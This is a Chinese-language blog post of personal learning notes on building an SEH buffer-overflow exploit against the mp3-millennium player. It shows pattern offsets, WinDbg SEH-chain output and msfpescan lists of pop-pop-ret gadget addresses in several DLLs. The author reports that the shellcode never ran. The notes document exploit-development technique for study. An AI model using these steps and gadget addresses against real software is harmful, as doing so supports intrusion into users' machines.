您的位置:首页 > 运维架构 > Shell

软件本身呢对shellcode 检查 SEH Exploit学习

2014-03-16 16:08 260 查看
例子: mp3-millennium



典型SEH 漏洞·····················

一般我们都是直接去写文件,但是这个例子有检查文件属性的





可以看到有检查机制

所以构造 POC时要注意,不然没法制造异常

用 !pvefindaddr pattern_create 6000

构造POC 去制造异常

发现异常,!exchain命令查看SEH链 然后得到 SEH和NSEH 地址,

然后 !pvefindaddr pattern_offset 去查看地址 然后记录偏移

再构造POC SEH地址设断,NSEH设为 \x11\x11\x11\x11

0:000> !exchain
00125cd4: cccccccc
Invalid exception stack at 11111111
然后就HAPPY了

WINDBG查看 程序加载了那些DLL

拖进 MSF目录下

msf > msfpescan -p xoutput.dll
[*] exec: msfpescan -p xoutput.dll

[xoutput.dll]
0x10001254 pop ebx; pop ebp; retn 0x0010
0x100016fa pop esi; pop ebx; ret
0x100018c3 pop ebx; pop ebp; ret
0x10001b2d pop esi; pop ebp; ret
0x10001c99 pop esi; pop ebp; ret
0x1000202f pop ebp; pop ebx; retn 0x000c
0x10002069 pop ebp; pop ebx; retn 0x000c
0x100020b8 pop ebp; pop ebx; retn 0x000c
查看到了 pop pop retn

会发现 有\x00 的都不能要啊!!!!!!!!!!!!!!!!!

换一个DLL试试

msf > msfpescan -p lpk.dll
[*] exec: msfpescan -p lpk.dll

[lpk.dll]
0x10028027 pop esi; pop ebp; ret
会发现只剩一个了,天啦,我的运气是有多好


可惜还是不行··············

再搜

0x10020064 pop ebx; pop ecx; ret
0x100200e1 pop ebx; pop ecx; ret
0x100200fd pop ebx; pop ecx; ret
0x10020133 pop ebx; pop ecx; ret
0x10020147 pop ebx; pop ecx; ret
0x10020209 pop ebp; pop ebx; ret
0x10020214 pop ebp; pop ebx; ret
0x100202c8 pop ebp; pop ebx; ret
0x100202d0 pop ebp; pop ebx; ret
0x100205d7 pop edi; pop esi; ret
0x1002065b pop ebx; pop ecx; ret
0x10020667 pop ebx; pop ecx; ret
0x10020793 pop ebx; pop ecx; ret
0x1002079b pop ebx; pop ecx; ret
0x100207a4 pop ebx; pop ecx; ret
0x1002083d pop esi; pop ebx; ret
0x1002084e pop esi; pop ebx; ret
0x100208dc pop esi; pop edi;


测试了很久·····················

发现 对NSEH 还有检查 不知道是不是我系统的缘故·······························

最后改为 JE 才行

我哪个去············程序加了 检查,·········现在没办法了 shellcode总是不通过···

不整了··················

我勒个去·········居然不同文件名 报错不一样······m3u 和 mpf 居然不一样的出错···
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: